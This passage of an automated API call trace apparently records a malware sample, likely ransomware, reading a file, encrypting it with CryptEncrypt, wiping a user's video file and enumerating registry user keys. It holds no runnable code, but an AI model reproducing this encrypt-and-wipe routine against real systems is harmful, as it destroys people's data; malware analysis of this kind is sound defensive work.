lpNumberOfBytesRead=0xe8f3dfea20*=0xf0d, lpOverlapped=0x0) returned 1 [0030.130] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0030.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.131] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0030.131] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.131] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.131] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0030.131] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.131] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.132] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0030.132] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.132] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.132] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.132] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.132] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.133] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.133] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf0d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xf10) returned 1 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] CharLowerBuffW (in: lpsz="byte[3857]", cchLength=0xa | out: lpsz="byte[3857]") returned 0xa [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.133] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.133] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4198ce0*, pdwDataLen=0xe8f3dfdf68*=0xf0d, dwBufLen=0xf10 | out: pbData=0xe8f4198ce0*, pdwDataLen=0xe8f3dfdf68*=0xf10) returned 1 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.133] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.134] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.134] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.134] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.135] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0030.135] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.135] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.135] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.135] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0030.135] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.135] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.136] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.136] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.136] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.136] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0030.136] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.136] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.136] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0030.136] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.136] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.137] CloseHandle (hObject=0x1fc) returned 1 [0030.137] CloseHandle (hObject=0x188) returned 1 [0030.139] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0030.139] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\_7 Dc65ftevOO.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\_7 dc65ftevoo.mp4")) returned 0x20 [0030.139] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\_7 Dc65ftevOO.mp4", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a370 [0030.139] FindClose (in: hFindFile=0xe8f406a370 | out: hFindFile=0xe8f406a370) returned 1 [0030.140] CharLowerBuffW (in: lpsz="byte[3853]", cchLength=0xa | out: lpsz="byte[3853]") returned 0xa [0030.140] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0030.141] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0030.141] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0030.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064690, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0030.141] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0030.141] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0030.141] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0030.142] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0030.142] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.142] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0030.142] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.143] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.143] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0030.143] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12816) returned 1 [0030.143] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.143] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0030.143] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0030.143] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x3210, lpOverlapped=0x0) returned 1 [0030.144] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0030.144] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x3210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.144] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12816) returned 1 [0030.148] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0030.148] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0030.148] CharUpperBuffW (in: lpsz="HKEY_USERS", cchLength=0xa | out: lpsz="HKEY_USERS") returned 0xa [0030.148] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="", ulOptions=0x0, samDesired=0x20019, phkResult=0xe8f3dfea80 | out: phkResult=0xe8f3dfea80*=0xffffffff80000003) returned 0x0 [0030.148] RegEnumKeyExW (in: hKey=0xffffffff80000003, dwIndex=0x0, lpName=0xe8f3dfeb10, lpcchName=0xe8f3dfed58, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08 | out: lpName=".DEFAULT", lpcchName=0xe8f3dfed58, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0xe8f3dfeb08) returned 0x0 [0030.148] RegCloseKey (hKey=0xffffffff80000003) returned 0x0 [0030.148] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.148] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff0c0) returned 0 [0030.149] PeekMessageW (in: lpMsg=0xe8f3dff0c0, hWnd=0x0, 